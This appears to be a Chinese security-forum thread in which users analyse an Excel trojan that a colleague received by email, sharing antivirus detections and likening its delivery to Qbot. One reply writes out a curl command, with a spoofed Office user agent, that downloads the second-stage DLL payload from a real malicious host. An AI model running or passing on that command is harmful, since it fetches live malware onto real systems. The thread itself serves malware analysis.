同事在海外邮件提到的网盘中下载的木马

/yl天然卷

这个我解压完扫描文件 诺顿报毒
现在不知道是何种类型的木马
密码RT5676
------------------------------------------

我同事的电脑是mac
她双击运行了这个电子表格
该木马应该也没办法感染mac的吧

kuroandsan

KIS

东南大学

1. Kaspersky Anti-Virus Console Scanner  [Version 8.8.1.110]
   
2. Copyright (C) 2007-2017 Kaspersky Lab. All rights reserved.
   
3. 
   
4. Number of viruses in database: 19114351
   
5. LastUpdate: 29.03.2022 16:04:00
   
6. 
   
7. Database folder: 'E:\GitHub\KAV\bin\bases\'
   
8. 
   
9. Queue length: 1024
   
10. 
    
11. Scanning...
    
12. 
    
13. Waiting for completion...
    
14. 'c:\Downloads\missed\euuqauorncnsstt.xls//Rgvrb': suspected 'HEUR:Trojan.MSOffice.Generic'
    
15. 'c:\Downloads\missed\euuqauorncnsstt.xls': detected 'UDS:DangerousObject.Multi.Generic'
    
16. 'c:\Downloads\missed\euuqauorncnsstt.xls': scan result - INFECTED
    
17. 
    
18. 
    
19. Total scanned files count: 1
    
20. Scanning time: 2531 ms
    
21. 
    
22. INFECTED - 1
    
23. 
    
24. KAVE uninitialized
    
25. KAVECSCAN finished.

复制代码

正在缓冲

Avast
XLS:Nastya [Trj]

swizzer

投递方式很像#Qbot，可惜我这里下载不到Payload···

wwwab

LSPD

eset

ly9327

奇安信 kill

yfdyh000

swizzer 发表于 2022-3-29 17:52
投递方式很像#Qbot，可惜我这里下载不到Payload···

确实像。加上UA就可以下了。
curl https://mestermustra.ro/McvmGTWB48/NchonhNh.png -A "Microsoft Office/15.0 (Windows NT 6.2; Microsoft Excel 15.0.4693; Pro)" --output a.dll

swizzer

yfdyh000 发表于 2022-3-29 18:57
确实像。加上UA就可以下了。
curl https://mestermustra.ro/McvmGTWB48/NchonhNh.png -A "Microsoft Off ...

您那里可以下载吗？
我感觉网站应该是down掉了···因为我测试的时候更换网络环境/加UA/直接双击xls，都没能成功下载到这个dll